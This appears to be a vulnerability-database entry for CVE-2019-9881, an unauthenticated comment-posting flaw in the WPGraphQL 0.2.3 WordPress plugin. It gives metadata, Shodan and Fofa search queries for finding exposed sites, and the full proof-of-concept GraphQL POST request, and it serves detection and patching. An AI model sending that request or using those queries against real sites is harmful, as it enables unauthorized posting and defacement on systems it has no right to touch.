| Title | WPEngine WPGraphQL 0.2.3 - Unauthenticated Comment Posting |
|---|---|
| Author | intelligent-ears |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to post unauthorized comments on WordPress posts, potentially leading to content manipulation and defacement. |
| Remediation | Update WPGraphQL to version 0.3.0 or later to fix this vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.1924 |
| CVE ID | CVE-2019-9881 |
| CWE ID | CWE-306 |
| Shodan Query | http.title:"WordPress" "graphql" |
| Fofa Query | body="/wp-content/plugins/wp-graphql/" |
| Tags | cve cve2019 wp wp-plugin wordpress wp-graphql wpengine unauth vkev vuln |
The createComment mutation in the WPGraphQL 0.2.3 plugin for WordPress allows unauthenticated users to post comments on any article, even when ‘allow comment’ is disabled.
POST /graphql HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.5
Connection: close
Content-Length: 164
Content-Type: application/json
Accept-Encoding: gzip
{"query": "mutation { createComment(input: { postId: 1, userId: 1, content: \"38FZzNOYx24GBdBETaUvNGhKHcX\", clientMutationId: \"yemkk\" }) { clientMutationId } }"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9881.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-9881.pcap
N/AN/A